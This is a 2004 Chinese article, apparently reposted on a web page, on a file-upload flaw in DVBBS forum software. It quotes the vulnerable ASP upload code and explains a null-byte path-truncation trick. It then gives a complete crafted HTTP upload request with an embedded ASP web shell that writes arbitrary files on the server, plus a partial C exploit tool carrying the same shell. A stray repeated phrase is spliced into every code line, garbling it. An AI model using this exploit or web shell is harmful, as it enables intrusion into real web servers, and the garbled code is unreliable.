创建时间:2004-05-17
文章属性:原创
文章提交:suei8423 (suei8423_at_163.com)

动网论坛上传文件漏洞的原理以及攻击的代码实现
                                                                ----Zwell
                                                                ---http://www.54nb.com
    最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪说动网
论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的
问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些
人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人
骂,因为这个漏洞实在太大了).
    我们先看一下动网论坛上传文件的相关代码:
 1再贴一个上传的漏洞'===========无组件上传(upload_0)====================
 2再贴一个上传的漏洞sub upload_0()
 3再贴一个上传的漏洞set upload=new UpFile_Class ''建立上传对象
 4再贴一个上传的漏洞upload.GetDate (int(Forum_Setting(56))*1024)   '取得上传数据,不限大小
 5再贴一个上传的漏洞iCount=0
 6再贴一个上传的漏洞
 7再贴一个上传的漏洞if upload.err > 0 then
 8再贴一个上传的漏洞    select case upload.err
 9再贴一个上传的漏洞    case 1
10再贴一个上传的漏洞    Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
11再贴一个上传的漏洞    case 2
12再贴一个上传的漏洞    Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
13再贴一个上传的漏洞    end select
14再贴一个上传的漏洞    exit sub
15再贴一个上传的漏洞    else
16再贴一个上传的漏洞formPath=upload.form("filepath")
17再贴一个上传的漏洞''在目录后加(/)
18再贴一个上传的漏洞if right(formPath,1)<>"/" then formPath=formPath&"/" 
19再贴一个上传的漏洞
20再贴一个上传的漏洞for each formName in upload.file ''列出所有上传了的文件
21再贴一个上传的漏洞set file=upload.file(formName)  ''生成一个文件对象
22再贴一个上传的漏洞if file.filesize<100 then
23再贴一个上传的漏洞    response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
24再贴一个上传的漏洞    response.end
25再贴一个上传的漏洞end if
26再贴一个上传的漏洞
27再贴一个上传的漏洞fileExt=lcase(file.FileExt)
28再贴一个上传的漏洞if CheckFileExt(fileEXT)=false then
29再贴一个上传的漏洞    response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
30再贴一个上传的漏洞    response.end
31再贴一个上传的漏洞end if
32再贴一个上传的漏洞
33再贴一个上传的漏洞randomize
34再贴一个上传的漏洞ranNum=int(90000*rnd)+10000
35再贴一个上传的漏洞filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
36再贴一个上传的漏洞if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据
37再贴一个上传的漏洞  file.SaveToFile Server.mappath(filename)   ''保存文件
38再贴一个上传的漏洞'  response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
39再贴一个上传的漏洞response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
40再贴一个上传的漏洞  iCount=iCount+1
41再贴一个上传的漏洞end if
42再贴一个上传的漏洞set file=nothing
43再贴一个上传的漏洞next
44再贴一个上传的漏洞set upload=nothing
45再贴一个上传的漏洞session("upface")="done"
46再贴一个上传的漏洞Htmend iCount&" 个文件上传结束!"
47再贴一个上传的漏洞
48再贴一个上传的漏洞end if
49再贴一个上传的漏洞end sub
在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是
程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里
来的呢?我们可以在reg_upload.asp中找到这样的代码:
1再贴一个上传的漏洞<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
2再贴一个上传的漏洞<input type="hidden" name="filepath" value="uploadFace">
3再贴一个上传的漏洞<input type="hidden" name="act" value="upload">
4再贴一个上传的漏洞<input type="file" name="file1">
5再贴一个上传的漏洞<input type="hidden" name="fname">
6再贴一个上传的漏洞<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
7再贴一个上传的漏洞parent.document.forms[0].Submit2.disabled=true;">
8再贴一个上传的漏洞</form>
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件
也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.
将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的
是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,
如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"
这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.
因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.
我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):

POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"

uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"

upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain
 1再贴一个上传的漏洞<%dim objFSO%>
 2再贴一个上传的漏洞<%dim fdata%>
 3再贴一个上传的漏洞<%dim objCountFile%>
 4再贴一个上传的漏洞<%on error resume next%>
 5再贴一个上传的漏洞<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
 6再贴一个上传的漏洞<%if Trim(request("syfdpath"))<>"" then%>
 7再贴一个上传的漏洞<%fdata = request("cyfddata")%>
 8再贴一个上传的漏洞<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
 9再贴一个上传的漏洞<%objCountFile.Write fdata%>
10再贴一个上传的漏洞<%if err =0 then%>
11再贴一个上传的漏洞<%response.write "<font color=red>save Success!</font>"%>
12再贴一个上传的漏洞<%else%>
13再贴一个上传的漏洞<%response.write "<font color=red>Save UnSuccess!</font>"%>
14再贴一个上传的漏洞<%end if%>
15再贴一个上传的漏洞<%err.clear%>
16再贴一个上传的漏洞<%end if%>
17再贴一个上传的漏洞<%objCountFile.Close%>
18再贴一个上传的漏洞<%Set objCountFile=Nothing%>
19再贴一个上传的漏洞<%Set objFSO = Nothing%>
20再贴一个上传的漏洞<%Response.write "<form action='''' method=post>"%>
21再贴一个上传的漏洞<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
22再贴一个上传的漏洞<%Response.Write "<br>"%>
23再贴一个上传的漏洞<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
24再贴一个上传的漏洞<%Response.write "<br>"%>
25再贴一个上传的漏洞<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
26再贴一个上传的漏洞<%Response.write "<input type=submit value=save>"%>
27再贴一个上传的漏洞<%Response.write "</form>"%>

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"

C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d4a325500d2--

上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"

  C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,
(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).

至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个
"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,
大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,
代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,
然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有
复制换行才失败的.

写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
  1再贴一个上传的漏洞#include <winsock2.h>
  2再贴一个上传的漏洞#include <stdio.h>
  3再贴一个上传的漏洞#include "Resource.h"
  4再贴一个上传的漏洞
  5再贴一个上传的漏洞#pragma    comment(lib,"ws2_32.lib")
  6再贴一个上传的漏洞
  7再贴一个上传的漏洞HINSTANCE        g_hInst;
  8再贴一个上传的漏洞HWND            g_hWnd;
  9再贴一个上传的漏洞HWND            m_up;
 10再贴一个上传的漏洞HWND            m_host;
 11再贴一个上传的漏洞HWND            m_webpath;
 12再贴一个上传的漏洞HWND            m_path;
 13再贴一个上传的漏洞HWND            m_filename;
 14再贴一个上传的漏洞HWND            m_upload;
 15再贴一个上传的漏洞DWORD            m_theadid;
 16再贴一个上传的漏洞BYTE            sendbuf[10000];
 17再贴一个上传的漏洞char            host[80];            //主机地址
 18再贴一个上传的漏洞char            bbspath[50];        //论坛地址
 19再贴一个上传的漏洞char            uppath[20];            //上传目录
 20再贴一个上传的漏洞char            upfilename[50];        //上传文件名
 21再贴一个上传的漏洞char            upfiledata[8000];    //上传文件内容
 22再贴一个上传的漏洞int                sendsize;            //总传送数据大小
 23再贴一个上传的漏洞int                realsndsize = 0;    //传送页面文件的大小
 24再贴一个上传的漏洞char            snddata[8000];
 25再贴一个上传的漏洞char            mm[1000]=
 26再贴一个上传的漏洞                    "<%dim objFSO%>\r\n"
 27再贴一个上传的漏洞                    "<%dim fdata%>\r\n"
 28再贴一个上传的漏洞                    "<%dim objCountFile%>\r\n"
 29再贴一个上传的漏洞                    "<%on error resume next%>\r\n"
 30再贴一个上传的漏洞                    "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
 31再贴一个上传的漏洞                    "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
 32再贴一个上传的漏洞                    "<%fdata = request(\"cyfddata\")%>\r\n"
 33再贴一个上传的漏洞                    "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
 34再贴一个上传的漏洞                    "<%objCountFile.Write fdata%>\r\n"
 35再贴一个上传的漏洞                    "<%if err =0 then%>\r\n"
 36再贴一个上传的漏洞                    "<%response.write \"<font color=red>save Success!</font>\"%>\r\n"
 37再贴一个上传的漏洞                    "<%else%>"
 38再贴一个上传的漏洞                    "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"
 39再贴一个上传的漏洞                    "<%end if%>\r\n"
 40再贴一个上传的漏洞                    "<%err.clear%>\r\n"
 41再贴一个上传的漏洞                    "<%end if%>"
 42再贴一个上传的漏洞                    "<%objCountFile.Close%>\r\n"
 43再贴一个上传的漏洞                    "<%Set objCountFile=Nothing%>\r\n"
 44再贴一个上传的漏洞                    "<%Set objFSO = Nothing%>"
 45再贴一个上传的漏洞                    "<%Response.write \"<form action=\'\' method=post>\"%>\r\n"
 46再贴一个上传的漏洞                    "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"
 47再贴一个上传的漏洞                    "<%Response.Write \"<br>\"%>\r\n"
 48再贴一个上传的漏洞                    "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"
 49再贴一个上传的漏洞                    "<%Response.write \"<br>\"%>\r\n"
 50再贴一个上传的漏洞                    "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"
 51再贴一个上传的漏洞                    "<%Response.write \"<input type=submit value=save>\"%>\r\n"
 52再贴一个上传的漏洞                    "<%Response.write \"</form>\"%>\r\n";
 53再贴一个上传的漏洞
 54再贴一个上传的漏洞//获得控件文本
 55再贴一个上传的漏洞char *gettext(HWND chwnd)
 56}

WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过

完整源代码暂时不提供,大家可以到论坛留言一下,如果联盟同意的话,我再公布吧.
有什么问题欢迎与我交流:zwell@sohu.com  http://www.54nb.com
转贴请保证文章完整性.
再贴一个上传的漏洞再贴一个上传的漏洞

相关文章:

  • 2021-12-01
猜你喜欢
  • 2021-06-28
  • 2021-12-20
  • 2022-01-30
  • 2022-12-23
  • 2022-01-01
  • 2021-12-04
  • 2021-12-09
相关资源
相似解决方案